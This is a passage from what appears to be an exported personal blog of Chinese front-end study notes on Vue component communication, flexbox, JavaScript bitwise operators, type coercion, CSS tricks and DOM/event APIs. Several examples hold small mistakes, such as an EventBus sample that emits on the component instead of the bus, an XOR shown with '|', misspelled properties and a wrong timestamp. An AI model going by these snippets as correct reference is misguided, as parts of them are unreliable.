&#125;&#125; 3. 兄弟组件数据传递 对于大型项目,用vue官方推荐的vuex EventBus 提取bus.js 123import Vue from 'vue'const bus = new Vue()export default bus 兄弟组件1 发送数据 12345678import bus from './bus'export default &#123; created() &#123; // ... this.$emit('busEvent1', someData) &#125;&#125; 兄弟组件2 接收数据 12345678910import bus from './bus'export default &#123; created() &#123; // ... this.$on('busEvent1', function (data) &#123; console.log(data) &#125;) &#125;&#125; 子组件A $emit派发某个事件,再由父组件@handle-callback=&quot;handlerCallback&quot;监听获取数据,然后,父组件$refs直接访问到子组件B的方法,从而间接实现从子组件A到子组件B的数据传递 props在子组件中被重写报错1vue.esm.js?06e7:591 [Vue warn]: Avoid mutating a prop directly since the value will be overwritten whenever the parent component re-renders. Instead, use a data or computed property based on the prop's value. Prop being mutated: "isShow" 解决方案props传过来的参数通过Vue.$emit提交修改 在props和data中使用this在Vue2.2.2或更高版本才能这样使用,低于这个版本时,注入的值会在props和data初始化之后得到。 对于高阶插件/组件库,解决组件与其子孙组件数据传输问题 解决方案一:$attrs和$listener 使用属性和方法不通过props传递,在子孙组件中直接用$attrs和$listeners接收。不过支持v2.4.0+。 1234567891011121314151617181920 // 父级组件 &lt;ul id="app6"&gt; &lt;item class="item" :model="treeData" :count="123" @abc="function()&#123;&#125;" &gt;&lt;/item&gt;&lt;/ul&gt;// 子孙组件inheritAttrs: false,created () &#123; let attrs = this.$attrs; console.log('mode:', attrs.mode); console.log('count:', attrs.count); let listeners = this.$listeners; console.log('bac:', listeners.abc);&#125; 解决方案二:provide/inject 父级组件传入provide数据选项,子孙组件注入inject数据。 1234567// 父组件provide: &#123; foo: 'bar'&#125;// 子孙组件inject: ['foo'] // or inject: &#123; name: 'foo', defult: '' &#125;]]></content>
<categories>
<category>vue</category>
</categories>
<tags>
<tag>vue-cli</tag>
</tags>
</entry>
<entry>
<title><![CDATA[flex 布局]]></title>
<url>%2F2017%2F07%2F23%2Fflex%E5%B8%83%E5%B1%80%2F</url>
<content type="text"><![CDATA[flex弹性布局相关属性 详细参考:阮一峰博客 1.flex-direction 定义沿水平或主轴方向 row(默认值):主轴为水平方向,起点在左端。 row-reverse:主轴为水平方向,起点在右端。 column:主轴为垂直方向,起点在上沿。 column-reverse:主轴为垂直方向,起点在下沿。 2.flex-wrap 定义换行方式 nowrap(默认值): 不换行 wrap: 换行,第一行在上面 wrap-reverse: 换行,第一行在上面 3.flex-flow flex-flow 属性是flex-direction属性和flex-wrap的简写,默认flex-flow: row nowrap 4.flex-content 定义了在主轴上对其方式 flex-start左对齐 flex-end 右对齐 center 居中 space-between 两端对齐,项目之间得间隔相等 space-around 每个项目两侧得间隔相等,所以,项目之间得间隔比项目与边框的间隔大一倍 5.align-item 定义项目在交叉轴上如何对齐 flex-start 交叉轴起点对齐 flex-end 交叉轴终点对齐 flex-center 交叉轴中点对齐 flex-baseline 项目中第一行文字基线对齐 stretch(默认值) 项目中未设置高度或设为auto,将占满容器高度 6. align-content align-content定义了多根轴线的对齐方式,如果项目只有一根轴线,该属性不起作用 flex-start 与交叉轴的起点对齐 flex-end 与交叉轴的终点对齐 space-between 与交叉轴两端对齐,轴线之间的间隔平均分布 space-around 每根轴线两侧的间隔都相等,所以,轴线之间与边框的间隔大一倍 space-stretch(默认值) 如果不设置高度,轴线占满整个交叉轴 7.项目的属性 order属性定义项目的排列顺序。数值越小,排列越靠前,默认为0。 flex-grow属性定义项目的放大比例,默认为0,即如果存在剩余空间,也不放大。如果所有项目的flex-grow属性都为1,则它们将等分剩余空间(如果有的话)。如果一个项目的flex-grow属性为2,其他项目都为1,则前者占据的剩余空间将比其他项多一倍。 flex-shrink属性定义了项目的缩小比例,默认为1,即如果空间不足,该项目将缩小。如果所有项目的flex-shrink属性都为1,当空间不足时,都将等比例缩小。如果一个项目的flex-shrink属性为0,其他项目都为1,则空间不足时,前者不缩小。 flex-basis属性定义了在分配多余空间之前,项目占据的主轴空间(main size)。浏览器根据这个属性,计算主轴是否有多余空间。它的默认值为auto,即项目的本来大小。 flex属性是flex-grow, flex-shrink 和 flex-basis的简写,默认值为0 1 auto。后两个属性可选。该属性有两个快捷值:auto (1 1 auto) 和 none (0 0 auto)。 8.align-self align-self属性允许单个项目有与其他项目不一样的对齐方式,可覆盖align-items属性。默认值为auto,表示继承父元素的align-items属性,如果没有父元素,则等同于stretch。]]></content>
<categories>
<category>css</category>
</categories>
<tags>
<tag>css</tag>
</tags>
</entry>
<entry>
<title><![CDATA[js中的位运算]]></title>
<url>%2F2017%2F06%2F26%2Fjs%E4%B8%AD%E7%9A%84%E4%BD%8D%E8%BF%90%E7%AE%97%2F</url>
<content type="text"><![CDATA[前言在平常的工作中位运算用得比较少,一般用其他更容易理解得方式去达到相同目的。在计算机内部,一切运算最终都转化成二级制元算,直接使用二级制运算执行得效率是最高的。偶尔看到一道面试题,复习一下这方面知识,先来看一下这道面试题: 123var a = 10;a ^= (1&lt;&lt;4) - 1;a的值 题目先放一放,看看js中有哪些位运算。 1. 位与(&amp;)真真为真,其余为假 1234569和10二进制位与运算 1001 &amp; 1010 ------- 1000 由于奇数的二进制末位为1,偶数为0,跟1的位与运算后,分别为1和0,因此可以用位与运算来判断奇偶数。 12345if(n &amp; 1) &#123; console.log('n为奇数');&#125; else &#123; console.log('n为偶数');&#125; 2. 位或(|)假假为假,其余为真 1234569和10二进制位或运算 1001 | 1010 ------- 1011 整数与0的位或运算,都是本身。浮点数不支持位运算,过程中会自动转化成整数,利用这一点,可以将浮点数与0进行位或运算即可达到取整目的。 1console.log(15.22 | 0); // 15 3. 位非(~)真为假,假为真 1234567899二进制位非运算 ~ 0000000000000000 0000000000001001 -------取反 1111111111111111 1111111111110110 -------符号位不变,其余取反 1000000000000000 0000000000001001 -------加1 1000000000000000 0000000000001010 按位非操作,首先每一位取反,然后,第一位为负数符号位保持不变,剩余取反加1就是最后结果。 4. 异或(^)相同为假,不同为真 1234569和10二进制异或运算 1001 | 1010 ------- 0011 可以用于交换两个整数的值,不过一般很少这么用 123456var a = 3, b = 5;a ^= b;b ^= a;a ^= b;console.log('a:', a); // 5console.log('b:', b); // a 5. 有符号左移(&lt;&lt;)首位符号为不动,把32位二进制数字整体往左边移动指定位数,左边超出部分被舍去,右边补0。 123459二进制有符号左移5位 9&lt;&lt;5 0000000000000000 0000000000001001 ------ 0000000000000000 0000000100100000 计算机内是这样位移计算的,实际应用计算我们可以通过公式:num * (2^n),即:9*Math.pow(2,5) 6. 有符号右移(&gt;&gt;)首位符号为不动,把32位二进制数字整体往右边移动指定位数,右边超出部分被舍去,左边补0。 12345288二进制有符号右移5位 9&gt;&gt;5 0000000000000000 0000000100100000 ------ 0000000000000000 0000000000001001 计算机内是这样位移计算的,实际应用计算我们可以通过公式:num / (2^n),即:288/Math.pow(2,5) 7. 无符号右移(&gt;&gt;&gt;)符号为也跟着一起移动,这样,无符号右移会把负数的二进制当成整数的二进制码 123454294967296二进制无有符号右移5位 4294967296&gt;&gt;&gt;5 1000000000000000 0000000000000000 ------ 0000010000000000 0000000000000000 回归面试题12var a = 10;a ^= (1&lt;&lt;4) - 1; 1&lt;&lt;4左移4位,即1*Math.pow(2, 4) == 16,则a ^= 15 1234510和15的异或运算 1111 ^ 1010 ......... 0101 0101二进制表示5,所以a的值位5]]></content>
<categories>
<category>javascript</category>
</categories>
<tags>
<tag>javascript</tag>
<tag>位运算</tag>
</tags>
</entry>
<entry>
<title><![CDATA[js数据类型转化]]></title>
<url>%2F2017%2F06%2F18%2Fjs%E6%95%B0%E6%8D%AE%E7%B1%BB%E5%9E%8B%E8%BD%AC%E5%8C%96%2F</url>
<content type="text"><![CDATA[数据类型转化表首先上数据类型转化表,便于遇到问题直接查看 值 字符串 数字 布尔值 对象 undefined null “undefined” “null” NaN false false throws TypeError throws TypeError true false “true” “false” 1 0 new Boolean(true) new Boolean(false) “”(空字符串) “1.2”(非空,数字) “one”(非空,非数字) 0 1.2 NaN false true true new String(“”) new String(“1.2”) new String(“one”) 0 -0 NaN Infinity -Infinity 1(非零) “0” “0” “NaN” “Infinity” “-Infinity” “1” new Number(0) new Number(-0) new Number(NaN) new Number(Infinity) new Number(-Infinity) new Number(1) {}(任意对象) [] [9] [“a”] {}.toString() -&gt; {}.valueOf() “” “9” 使用join() {}.valueOf() -&gt; {}.toString() 0 9 NaN NaN true true true true 显式转换显示转换最简单的是使用Boolean()、Number()、String()或Object()构造函数 1234Number(&quot;3&quot;); // 3String(false); // &quot;false&quot;Boolean([]); // trueObject(3); // new Number(3) ps:值得注意的是,试图把undefined或null转换为对象,会抛出一个类型错误,而Object()显示转换不会,而是返回一个新创建的空对象 显示转换还有toString()、toFixed()、toExponential()、toPrecision()、parseInt()、parseFloat()方法,不细说 隐式转换隐式转换分为三种: 将值转换为原始值,ToPrimitive(input, PreferredType) 将值转化为数字,ToNumber() 将值转化为字符串,ToString() 原始类型数据转化相对比较简单,下面值看对象到原始类型的转换方式 对象的toString()和valueOf()方法 所有对象继承了两个转换方法:toString() 一般对象转化成[object object] {x: 1, y: 2}.toString(); // &quot;[object object]&quot; 数组转化成元素间加逗号 [1, 2, 3].toString(); // &quot;1,2,3&quot; 函数转化成定义(function(x){}).toString(); // &quot;function(x) {}&quot; 正则转化为直接量字符串 /\d+/g.toString(); // &quot;/\d+/g&quot; 日期转化为日期字符串 new Date(2000, 1, 1).toString(); // “Tue Feb 01 2000 00:00:00 GMT+0800 (中国标准时间)” valueOf()方法 大多数对象无法真正表示为一个原始值,valueOf()简单返回对象本身 日期对象是一个特例,返回毫秒数 new Date(2010, 0, 1).valueOf(); // 12623328000 对象到字符串的转换 如果对象具有toString()方法,则调用这个方法,如果它返回一个原始值,将这个值转化为字符串,并返回这个字符串结果 如果对象没有toString()方法,或者个这个方法不返回一个原始值,那么就会调用valueOf()方法。如果存在这个方法,则调用它,如果返回值是一个原始值,将这个值转化为只服从,并返回这个字符串结果 否则,就会抛出一个类型错误异常 对象到数字的转换 如果对象具有valueOf()方法,后者返回个亿原始值,则将这个原始值转化为数字,并返回这个数字 否则,如果对象有toString()方法,后者返回一个原始值,并转化成数字返回 否则,抛出一个类型错误异常 举个栗子: ({} + {}) = ? 两个对象的值进行+运算符,要先进行隐式转换成原始类型才能计算 1. ToPrimitive转换,因为没有指定PreferredType类型,默认为Number 2. 执行`valueOf()`方法,`{}.valueOf()`返回的还是{}对象 3. 继续执行`toString()`方法,`({}).toString()`返回`[Object Object]`,是原始值 所以最后结果:[Object Object][Object Object]ps:在Firefox中返回结果为NaN,因为第一个{}被当作一个代码块,没有解析转换,变成了+{},也就是+[Object Object],最终变成NaN ==元算符隐式转换==运算符应用和考察点很多,直接上ES5规范文档 1234567891011121314151617181920212223242526比较运算 x==y, 其中 x 和 y 是值,返回 true 或者 false。这样的比较按如下方式进行:1、若 Type(x) 与 Type(y) 相同, 则 1* 若 Type(x) 为 Undefined, 返回 true。 2* 若 Type(x) 为 Null, 返回 true。 3* 若 Type(x) 为 Number, 则 (1)、若 x 为 NaN, 返回 false。 (2)、若 y 为 NaN, 返回 false。 (3)、若 x 与 y 为相等数值, 返回 true。 (4)、若 x 为 +0 且 y 为 −0, 返回 true。 (5)、若 x 为 −0 且 y 为 +0, 返回 true。 (6)、返回 false。 4* 若 Type(x) 为 String, 则当 x 和 y 为完全相同的字符序列(长度相等且相同字符在相同位置)时返回 true。 否则, 返回 false。 5* 若 Type(x) 为 Boolean, 当 x 和 y 为同为 true 或者同为 false 时返回 true。 否则, 返回 false。 6* 当 x 和 y 为引用同一对象时返回 true。否则,返回 false。2、若 x 为 null 且 y 为 undefined, 返回 true。3、若 x 为 undefined 且 y 为 null, 返回 true。4、若 Type(x) 为 Number 且 Type(y) 为 String,返回比较 x == ToNumber(y) 的结果。5、若 Type(x) 为 String 且 Type(y) 为 Number,返回比较 ToNumber(x) == y 的结果。6、若 Type(x) 为 Boolean, 返回比较 ToNumber(x) == y 的结果。7、若 Type(y) 为 Boolean, 返回比较 x == ToNumber(y) 的结果。8、若 Type(x) 为 String 或 Number,且 Type(y) 为 Object,返回比较 x == ToPrimitive(y) 的结果。9、若 Type(x) 为 Object 且 Type(y) 为 String 或 Number, 返回比较 ToPrimitive(x) == y 的结果。10、返回 false。 总结起来有如下几点值得注意 NaN !== NaN x,y 为null、undefined两者中一个 // 返回true x、y为Number和String类型时,则转换为Number类型比较 有Boolean类型时,Boolean转化为Number类型比较 一个Object类型,一个String或Number类型,将Object类型进行原始转换后,按上面流程进行原始值比较 举一个栗子:123456789var a = &#123; valueOf: function () &#123; return 1; &#125;, toString: function () &#123; return&apos;123&apos; &#125;&#125;console.log(true == a) // true; 1. 首先,x与y类型不同,x为boolean类型,则进行ToNumber转换为1,为number类型 2. x为number,y为object类型,对y进行原始转换,ToPrimitive(a, ?),没有指定转换类型,默认number类型 3. ToPrimitive(a, Number)首先调用valueOf方法,返回1,得到原始类型1。 4. 1 == 1, 返回true ` 同理适用于&gt;、&lt;、!=、+运算符的隐式转换(但要除去日期对象)]]></content>
<categories>
<category>javascript</category>
</categories>
<tags>
<tag>javascript</tag>
</tags>
</entry>
<entry>
<title><![CDATA[css中的一些坑]]></title>
<url>%2F2017%2F05%2F06%2Fcss%E4%B8%AD%E7%9A%84%E4%B8%80%E4%BA%9B%E5%9D%91%2F</url>
<content type="text"><![CDATA[1、如果子元素全部设置为浮动,则父元素是塌陷的 在元素末尾加块级空元素设置clear:both; 1234.last &#123; display: block; clear: both;&#125; 在父级容器设置before/after模拟一个块级空元素 12345.clearfix:after &#123; content: ""; display: block; clear: both;&#125; 父级容器直接设置overflow: auto/hidden; 2、普通文档流中块级垂直外边距合并解决办法:用padding代替,或改成inline-block,或改成float,或绝对定位 3、使用transition闪屏12345.demo &#123; -webkit-transform-style: preserve-3d; -webkit-backface-visibility: hidden; -webkit-perspective: 1000&#125; 过渡动画在没有启动硬件加速的情况下,会出现抖动现象,解决方案:用translated3d、translateZ、transform自动启动硬件加速,即改为: 1234.demo &#123; -webkit-transform: translated3d(0,0,0); transform: translated3d(0,0,0);&#125; ps:硬件加速导致cpu性能占用增加,电池电量消耗加大 4、超出内容用”…”表示123&lt;div class="line-clamp"&gt;来点展示内容,来点展示内容,来点展示内容,来点展示内容,来点展示内容,来点展示内容,来点展示内容,来点展示内容,来点展示内容,来点展示内容&lt;/div&gt; 1234567.line-clamp &#123; width: 300px; display: -webkit-box; -webkit-box-orient: vertical; -webkit-line-clamp: 3; overflow: hidden;&#125; 说明: -webkit-line-clamp用来限制在一个块元素显示的文本的行数 display: -webkit-box; 必须结合的属性 ,将对象作为弹性伸缩盒子模型显示 -webkit-box-orient 必须结合的属性 ,设置或检索伸缩盒对象的子元素的排列方式 缺点:只有移动端和webkit浏览器支持 还不够,最后末尾最好有点渐变到”…” 12345678910111213141516.line-clamp &#123; width: 300px; line-height: 20px; height: 40px; overflow: hidden; position: relative;&#125;.line-clamp:after &#123; content: "..."; position: absolute; bottom: 0; right: 0; padding-left: 40px; background: linear-gradient(to right, transparent, #fff 55%);&#125; 说明: 将height设置为line-height整数倍,防止超出文字露出 ie10+才支持linear-gradient属性 缺点: 当文字少于区域大小时,也会出现省略号 输入框placeholder文字带颜色1234567891011121314151617input::-webkit-input-placeholder &#123; /* WebKit browsers */ font-size: 14px; color: #009a61;&#125;input::-moz-placeholder &#123; /* Mozilla Firefox 19+ */ font-size: 14px; color: #009a61;&#125;input:-ms-input-placeholder &#123; /* Internet Explorer 10+ */ font-size: 14px; color: #009a61;&#125;]]></content>
<categories>
<category>css</category>
</categories>
<tags>
<tag>css</tag>
</tags>
</entry>
<entry>
<title><![CDATA[JavaScript思维导图]]></title>
<url>%2F2017%2F04%2F04%2FJavaScript%E6%80%9D%E7%BB%B4%E5%AF%BC%E5%9B%BE%2F</url>
<content type="text"><![CDATA[《JavaScript高级程序》已过一遍,梳理js基础知识点,思维导图是极有帮助的,搜了一下,还真有整理得很全的,收藏一波。 1. 变量 2. 数组 3. 运算符 4. 流程语句 5. 字符串函数 6. DOM操作 7. BOM操作 8. window对象 9. 函数 10. 正则表达式 11. DOM对象]]></content>
<categories>
<category>javascript</category>
</categories>
<tags>
<tag>javascript</tag>
</tags>
</entry>
<entry>
<title><![CDATA[日常阅读笔记]]></title>
<url>%2F2017%2F04%2F02%2Fdaily%20reading%20note%2F</url>
<content type="text"><![CDATA[记录日常看书、看博客小记DOM2 DOM3 有关属性检测节点是否相等 isSomeNode isEqualNode 123456div1 = document.createElement('div')div2 = document.createElement('div')div1.isSameNode(div1) // truediv1.isSameNode(div2) // falsediv1.isEqualNode(div2) // true 获取框架文档对象 contentDocument contentWindow 12var iframe = document.getElementById('myIframe')var iframeDoc = iframe.contentDocument || iframe.contentWindow.document 获取行间样式遇到 float 要用 styleFloat 1myDiv.styleFloat = 'left' 几个重要样式属性和方法 cssText length item(index) getPropertyValue(propertyName) removeProperty(propertyName) setProperty(propertyName, value, priority) 123456789var demo = document.getElementById('demo')var prop, val, i, lenfor (var i = 0, len = demo.style.length; i &lt; len; i++) &#123; prop = demo.style[i] val = demo.style.getPropertyValue(prop) console.log(prop, val)&#125; 计算样式 computedStyleie9-使用 oDiv.currentStyle 123var computedStyle = document.getComputedStyle(oDiv, null)var bl = computedStyle.borderLeftStyle 对样式表操作 12345var sheet = null;for(var i = 0, len = document.styleSheets.length; i++) &#123; sheet =document.styleSheets[i]; console.log(sheet.href);&#125; 123456var sheet = document.styleSheets[0]var rules = sheet.cssRules || sheet.rulesvar value = rules[0]rule.style.backgroundColor = 'red'// 插入一条样式到样式表sheet.insertRule('body', 'background-color:red;', 0) ——2017/11/24 样式相关偏移量 offsetHeight = 元素高度 + (可见)水平滚动条高度 + 上边框高度 + 下边框高度; offsetWidth = 元素宽度 + (可见)垂直滚动条宽度 + 左边框高度 + 右边框高度; offsetLeft = 元素左边框至包含元素的左内边框之间的像素距离; offsetTop = 元素上边框至包含元素的上内边框之间的像素距离; 123456789101112// 想知道某个元素再页面上的偏移量function getElementLeft(ele) &#123; var actualLeft = ele.offsetLeft var current = ele.offsetParent while (current !== null) &#123; actualLeft += current.offsetLeft current = current.offsetParent &#125; return actualLeft&#125; 客户区大小 clientWidth = 元素内容区宽度 + 左右内边距宽度; clientHeight = 元素内容区高度 + 左右内边距高度; 滚动大小 scrollHeight: 在没有滚动条的情况下,元素内容的总高度; scrollWidth: 在没有滚动条的情况下,元素内容的总宽度; scrollLeft: 被隐藏在内容区域左侧的像素数。通过设置这个属性可以改变元素的滚动位置。 scrollTop: 被隐藏在内容区域上方的像素数。通过设置这个属性可以改变元素的滚动位置。 PS:在不包含滚动条的页面而言,scrollWidth 与 clientWidth,scrollHeight 与 clientHeight 的关系并不是十分清晰。 Firefox,这两组属性始终相等,但大小代表的是文档内容区域的实际尺寸,而非视口尺寸; Oprea、safari、chrome 中这两组属性有差别,其中 scrollWidth 和 scrollHeight 等于视口大小,而 clientWidth 和 clientHeight 等于文档区域大小; IE,这两组属性不相等,scrollHeight 和 scrollWidth 等于文档内容区域大小,而 clientHeight 和 clientWidth 等于视口大小; 所以,我们一般采用获取最大值,保证跨浏览器准确: 1var docHeight = Math.max(document.documentElement.scrollHeight, doucument.documentElment.clientHeight); html4.0 的 DTD 1&lt;!DOCTYPE html PUBLIC "-//W3C//DTD XHTML1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"&gt; html5 的 DTD 1&lt;!DOCTYPE html&gt; 在文档使用了 DTD 时,document.body.scrollHeight 值为 0,没有用 DTD 时不为 0 确定元素大小 getBoundingClientRect()方法,返回一个对象,包括四个属性:left、top、right 和 bottom。这些属性给出了元素相对视口的位置。 ——2017/11/26 范围 selectNode() 选择整个节点 selectNodeContents() 只选择节点的子节点 html 123&lt;p id='p1'&gt; &lt;b&gt;Hello&lt;/b&gt;World!&lt;/p&gt; js 12345678910var p1 = document.getElementById('p1'), helloNode = p1.firstChild.firstChild, worldNode = p1.lastChild, range = document.createRange()var span = document.createElement('span')span.style.color = 'red'range.selectNode(helloNode) // 选择整个节点range.surroundContents(span) // 包含选择的节点 123456range.deleteContents() // 删除范围选区var fragment = range.extractContents() // 移除范围选区,返回文档片段var fragment = range.cloneContents() // 赋值范围选区span.appendChild(document.createTextNode('Inserted Text'))range.insertNode(span) // 在选区前插入一个节点 事件为了兼容所有浏览器,一般对元素添加、删除事件做如下处理(不过一般 IE9+都没有必要这么做) 123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384var EventUtil = &#123; // 添加事件 addHandler: function (element, type, handler) &#123; if (element.addEventListener) &#123; element.addEventListener(type, handler, false) &#125; else if (element.attachEvent) &#123; element.attachEvent('on' + type, handler) &#125; &#125;, // 获取事件对象 getEvent: function (ev) &#123; return ev ? ev : window.event &#125;, // 获取事件目标 getTarget: function (ev) &#123; return ev.target || ev.srcElement &#125;, // 阻止默认事件 preventDefault: function (ev) &#123; if (ev.preventDefault) &#123; ev.preventDefault() &#125; else &#123; ev.returnValue = false &#125; &#125;, // 移除事件 removeHandler: function (element, type, handler) &#123; if (element.removeEventListener) &#123; element.removeEventListener(type, handler, false) &#125; else if (element.detachEvent) &#123; element.detachEvent('on' + type, handler) &#125; &#125;, // 阻止冒泡 stopPropagation: function (ev) &#123; if (ev.stopPropagation) &#123; ev.stopPropagation() &#125; else &#123; ev.cancelBubble = true &#125; &#125;, // 获取相关元素 getRelatedTarget: function (ev) &#123; if (ev.relatedTarget) &#123; return ev.relatedTarget &#125; else if (ev.toElement) &#123; return ev.toElement &#125; else if (ev.fromElement) &#123; return ev.fromElement &#125; &#125;, // 获取鼠标滚动 getWheelDelta: function (ev) &#123; // 其他 对应mousewheel事件 if (ev.wheelDelta) &#123; return ev.wheelDelta &#125; // 兼容Firefox 对应DOMMouseScroll else &#123; return -ev.detail * 40 &#125; &#125;, // 获取keypress按下键字符的ASCLL码 getCharCode: function (ev) &#123; if (typeof ev.charCode == 'number') &#123; return ev.charCode &#125; else &#123; return ev.keyCode &#125; &#125;, // 获取剪贴板数据 getClipboardText: function (ev) &#123; var clipboardData = event.clipboardData || window.clipboardData return clipboardData.getData('text') &#125;, // 设置剪贴板数据 setClipboardText: function (ev, value) &#123; if (ev.clipboardData) &#123; return event.clipboardData.setData('text/plain', value) &#125; else if (window.clipboardData) &#123; return window.clipboardData.setData('text', value) &#125; &#125;&#125; 扫盲:以前认为在页面卸载的时候没有办法去控制,当初没有注意到 window 下的 beforeunload 事件 12345EventUtil.addHandler(window, 'beforeunload', function (ev) &#123; var msg = 'before unload?' ev.returnValue = 'before unload?' return 'before unload ?'&#125;) 新认识一个事件,DOMContentLoaded事件在形成完整的 DOM 数之后就触发,不会理会图片、JavaScript 文件、css 文件或其他资源是否已经下载完毕。 —— 2017/11/27 自定义事件123456789101112131415EventUtil.addHandler(selfBtn, 'myEvent', function (ev) &#123; ev = EventUtil.getEvent(ev) console.log('btn myEvent:', ev.detail)&#125;)EventUtil.addHandler(document, 'myEvent', function (ev) &#123; ev = EventUtil.getEvent(ev) console.log('document myEvent:', ev.detail)&#125;)var event = document.createEvent('CustomEvent')event.initCustomEvent('myEvent', true, false, 'hello my event')selfBtn.dispatchEvent(event) —— 2017/12/6 表单form 表单作为一种古老的数据提交方式,很多细节还真是头回见,下面小记下。 1234567891011121314&lt;form action="http://xxx.com" method="post" id="form1"&gt; &lt;p&gt; &lt;label&gt;姓名:&lt;/label&gt; &lt;input type="text" value="" id="username"&gt; &lt;/p&gt; &lt;p&gt; &lt;label&gt;性别:&lt;/label&gt; &lt;input type="text" value="" id="username"&gt; &lt;select name="gender"&gt; &lt;option value="0"&gt;男&lt;/option&gt; &lt;option value="1"&gt;女&lt;/option&gt; &lt;/select&gt; &lt;/p&gt;&lt;/form&gt; 123var forms = document.forms // 获取页面中所有form集合var firstForm = document.forms[0]; // 索引获取表单var form1 = document.forms["form1"]; // 根据名称获取表单 单击一下代码生成的按钮,可以提交表单 123&lt;input type="submit" value="Submit form"&gt;&lt;button type="submit" &gt;Submit form&lt;/button&gt;&lt;input type="image" src="demo.png"&gt; 这种方式提交表单,浏览器会将请求发送到服务器之前触发 submit 事件。 123var form = document.querySelector("form");var firstField = form.elements[0];var field1 = form.elements["name"]; 除了元素外,所有表单字段拥有相同的一组属性:disabled、form、name、readonly、tabIndex、type、value。 值得注意的是,对 value 属性所做的修改,不一定会反映在 DOM 中,因此,在处理文本框的值时,最好不要使用 DOM 方法。 为解决不知道用户选择了什么文本的困扰,新认识了两个属性:selectionStart、selectionEnd。 12345678$name.addEventListener("select", function(ev) &#123; if(typeof $name.selectionStart == "number") &#123; console.log($name.value.substring($name.selectionStart, $name.selectionEnd)); &#125; else if(document.selection) &#123; // IE8- console.log(document.selection.createRange().text); &#125;&#125;); 设置选中部分文本解决方案:setSelectionRange 123$name.value = "hello form";$name.setSelectionRange(0, 4); // hel$name.focus(); 复制&amp;&amp;粘贴问题解决方案:event.clipboardData/window.clipboardData 获取到 clipboardData 对象,有 setData 和 getData 方法。只有 opera 不支持。Firefox、safari 和 chrome 只允许在 paste 事件发生时读取剪贴板数据,而 ie 没有这个限制。 以前对 select 的操作过于依赖 jQuery 或者 DOM 操作,其实本身有些很好的方法和属性。HTMLSelectElement 提供的一些属性和方法: add(newOption, relOption):向控件中插入新元素,其位置在相关项 relOption 之前。 multiple:是否允许多项选择。 options:控件中所有元素的 HTMLCollection。 remove(index):移除给定位置的选项。 selectedIndex:基于 0 的选中项索引,没有选中项,返回-1.对于多选项,只返回选中项中的第一项索引。 size:选择框中可见行数。 HTMLOptionElement 有一下属性: index:当前选项在 options 集合中的索引。 label:当前选项的标签。 selected:当前选项是否被选中。将这个属性设置位 true 可以选中当前选项。 text:选项的文本。 value:选项的值。 1234567&lt;select name="is-student" id="is-student"&gt; &lt;option value="0"&gt;否&lt;/option&gt; &lt;option value="1"&gt;是&lt;/option&gt; &lt;option value="2"&gt;不清楚&lt;/option&gt; &lt;option value="3"&gt;不明白&lt;/option&gt; &lt;option value="4"&gt;不知道&lt;/option&gt;&lt;/select&gt; 123456789101112131415options = $isStudent.options;// 将第四位置上的option元素插入到第二位前面$isStudent.add(options[3], options[1]);// 移除第五位option元素$isStudent.remove(4);// 将第三项选中options[2].selected = true;console.log("选中了的项索引:", $isStudent.selectedIndex); // 2console.log("选中项的文本:", options[$isStudent.selectedIndex].text); // 是console.log("选中项的标签:", options[$isStudent.selectedIndex].label); // 是console.log("选中项的在options集合中的索引:", options[$isStudent.selectedIndex].index); // 2 —— 2017/12/8 typeof undefined以前总迷惑,为嘛能够直接 1if(aaa === undefined) 看到别人偏偏 1if(typeof aaa == "undefined") 今天才明白其中道理:因为在 js 中 undefined 可以被重写,这样防止页面中有 undefined 变量存在。下面来看看区别: 12345678910;(function (undefined) &#123; var a console.log('test1: ', a === undefined) // false console.log('test1: ', 'abc' === undefined) // true&#125;)('abc');(function (undefined) &#123; // var a; console.log('test2: ', typeof a === 'undefined') // true console.log('test2: ', 'abc' === undefined) // true&#125;)('abc') 作用于安全构造函数构造函数其实是一个使用 new 操作符调用的函数。当使用 new 调用时,构造函数内用到的 this 对象会指向新创建的对象实例。 12345678function Person(name, age) &#123; this.name = name this.age = age&#125;var person = new Person('wuwh', '22')console.log(person.name)console.log(person.age) 如果构造函数被当作普通函数调用,this 就会指向 window 对象,添加成 window 下的属性。 123var person = Person('wuwh', '22')console.log(window.name)console.log(window.age) 解决这个问题的方法时创建一个作用域安全的构造函数,原理是在进行任何更改前,确认 this 对象是指向正确的实例。 12345678function Person(name, age) &#123; if (this instanceof Person) &#123; this.name = name this.age = age &#125; else &#123; return new Person(name, age) &#125;&#125; —— 2017/12/9 HTML5 原生 APIXDM 跨文档消息传送(XDM),HTML5 原生提供了 postMessage 方法。 postMessage()方法接收两个参数: 一条消息 一个表示消息接收方来自哪个域下的字符串 1234var frameWindow = document.querySelector('iframe').contentWindowsetTimeout(function () &#123; frameWindow.postMessage('hello', 'http://localhost')&#125;, 1000) 接收到 XDM 消息时,会触发 window 对象的 message 事件,改事件会包含三个重要信息: data:postMessage()第一个参数; origin:发送消息的文档所在的域; source:发送消息的文档 window 对象的代理,用于发送上一条消息的窗口中调用 postMessage()。 1234567// 接收XDM消息window.addEventListener('message', function (ev) &#123; console.log('ev.origin:', ev.origin) console.log('ev.data:', ev.data) console.log('ev.source:', ev.source) ev.source.postMessage('Received!', 'http://localhost')&#125;) 拖放事件 在被拖动元素上依次触发事件: dragstart drag dragend 在防止目标上依次触发事件: dragenter dragover dragleave drop为了阻止默认行为,一般都要对 dragenter、dragover 和 drop 绑定阻止默认事件。 认识一个新的事件属性 dataTransfer,用于从被拖放元素向放置目标传递字符串格式的数据。 123456789// 设置文本和url数据ev.dataTransfer.setData('URL', location.href)ev.dataTransfer.setData('text', 'hello drag')// 接收文本和url数据console.log('dataTransfer url:', dataTransfer.getData('URL') || dataTransfer.getData('text/uri-list'))console.log('dataTransfer text:', dataTransfer.getData('text'))console.log('dataTransfer file:', dataTransfer.file) —— 2017/12/9 高级函数惰性载入函数 有时候对浏览器的检测,我们执行一次就行,不必每次调用进行分支检测。解决方案就是惰性载入。 在第一次调用过程中,该函数被覆盖为另一个合适方式执行的函。 12345678910111213function createXHR() &#123; if (typeof XMLHttpRequest != 'undefined') &#123; createXHR = function () &#123; return new XMLHttpRequest() &#125; &#125; else if (typeof ActiveXObject != 'undefined') &#123; createXHR = function () &#123; return new ActiveXObject('MSXML2.XMLHTTP') &#125; &#125; return createXHR()&#125; 函数声明时就自执行指定恰当的函数。 12345678910111213var createXHR = (function () &#123; if (typeof XMLHttpRequest != 'undefined') &#123; createXHR = function () &#123; return new XMLHttpRequest() 